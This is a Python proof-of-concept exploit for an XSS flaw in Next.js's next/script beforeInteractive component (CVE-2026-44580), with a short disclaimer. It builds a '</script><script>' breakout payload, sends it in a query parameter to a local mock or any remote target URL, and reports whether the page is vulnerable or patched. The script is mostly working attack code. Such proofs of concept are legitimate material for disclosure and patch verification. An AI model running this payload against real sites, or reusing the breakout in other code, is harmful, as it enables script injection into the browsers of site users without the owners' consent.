Next.js beforeInteractive Script XSS (CVE-2026-44580)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131

#!/usr/bin/env python3
# Disclaimer: For authorized security research and educational use only.
# Do not use this tool on systems you do not own or have explicit written
# permission to test.
"""
GHSA-gx5p-jg67-6x7h -- Next.js next/script beforeInteractive XSS exploit.

Target spec: Next.js < 16.2.5 with any page that forwards user-controlled data
through `<Script strategy="beforeInteractive" {...rest}>` props (e.g. `id`,
`data-*`, `crossOrigin`, `nonce`-via-string-concat, etc.).

The pre-patch emitter JSON-stringifies the props into an inline <script> body
without HTML-escaping `<`, `>`, `&`, U+2028, U+2029. A `</script>...<script>`
sequence breaks out of the inline element at the HTML tokenizer level.

Usage:
    python3 exploit.py                       # spin up local mock + exploit
    python3 exploit.py http://target/path    # exploit a remote target

Exit codes:
    0  -- vulnerable
    1  -- patched
    2  -- network/empty response
    3  -- inconclusive
"""
import os
import shutil
import signal
import subprocess
import sys
import time
import urllib.parse
import urllib.request

# ---- ANSI colours ----------------------------------------------------------
class C:
    R = "\033[31m"; G = "\033[32m"; Y = "\033[33m"; CY = "\033[36m"
    B = "\033[1m"; X = "\033[0m"


def banner():
    print(C.CY + C.B + "=" * 65 + C.X)
    print(C.CY + C.B + "  GHSA-gx5p-jg67-6x7h  next/script beforeInteractive XSS" + C.X)
    print(C.CY + C.B + "  Patched in Next.js 16.2.5 (commit 66f6017f15)" + C.X)
    print(C.CY + C.B + "=" * 65 + C.X)


def maybe_start_mock(port: int = 8080) -> subprocess.Popen | None:
    """Start the bundled vulnerable mock when no target is given."""
    here = os.path.dirname(os.path.abspath(__file__))
    server_py = os.path.join(here, "vulnerable-app", "server.py")
    if not os.path.exists(server_py):
        sys.exit(f"{C.R}[-] missing {server_py}{C.X}")
    proc = subprocess.Popen(
        [sys.executable, server_py, "--port", str(port)],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
        preexec_fn=os.setsid,
    )
    time.sleep(1.0)
    return proc


def run(target: str | None) -> int:
    banner()

    proc: subprocess.Popen | None = None
    if not target:
        print(C.Y + "[*] no target supplied -> launching local mock on :8080" + C.X)
        proc = maybe_start_mock(8080)
        target = "http://127.0.0.1:8080/"

    # The XSS payload. Includes the VALIDATION_TOKEN placeholder so that
    # verify_vulnerability can substitute the runtime token and dynamically
    # confirm execution in a real headless browser.
    raw_payload = '</script><script>window.__pwn=true;alert("VALIDATION_TOKEN")</script><x x="'
    enc = urllib.parse.quote(raw_payload, safe="")
    url = f"{target.rstrip('/')}/?tid={enc}"

    print(f"{C.B}[*] Target URL:{C.X} {url}\n")

    try:
        with urllib.request.urlopen(url, timeout=10) as r:
            body = r.read().decode("utf-8", errors="replace")
    except Exception as e:
        print(C.R + f"[-] request failed: {e}" + C.X)
        return 2
    finally:
        if proc:
            try:
                os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
            except ProcessLookupError:
                pass

    print(C.B + "--- response (truncated) ---" + C.X)
    print("\n".join(body.splitlines()[:40]))
    print(C.B + "----------------------------" + C.X + "\n")

    # The actual XSS-relevant breakout is just literal `</script><script>` in
    # what should have been an inline script body. JSON-stringify escapes the
    # inner `"` to `\"`, but `<` `>` `&` are NOT JSON metacharacters, so they
    # survive verbatim. The HTML tokenizer then closes the inline next/script.
    needle = "</script><script>"
    escaped_marker = "\\u003c/script\\u003e\\u003cscript\\u003e"
    in_script_block = "(self.__next_s=self.__next_s||[]).push("

    # Be precise: look for the breakout INSIDE the __next_s push block (avoids
    # flagging legitimate <script>...</script> elements elsewhere on the page).
    push_idx = body.find(in_script_block)
    body_after_push = body[push_idx:] if push_idx != -1 else body

    if needle in body_after_push:
        print(C.G + C.B + "[+] VULNERABLE -- raw </script> survived to the wire." + C.X)
        print(C.G + "    The HTML tokenizer terminates the inline next/script element")
        print("    and the attacker payload runs as a brand-new <script>." + C.X)
        print()
        print(C.G + f"    Payload (decoded): {raw_payload}" + C.X)
        print()
        print(C.Y + "[i] Hand this URL to verify_vulnerability (type=xss) to dynamically" + C.X)
        print(C.Y + "    confirm with VALIDATION_TOKEN substitution." + C.X)
        return 0
    if escaped_marker in body:
        print(C.R + "[-] PATCHED -- htmlEscapeJsonString is rewriting < > & to \\uXXXX." + C.X)
        return 1

    print(C.Y + "[?] inconclusive -- payload neither verbatim nor \\u003c-escaped." + C.X)
    return 3


if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else None
    sys.exit(run(target))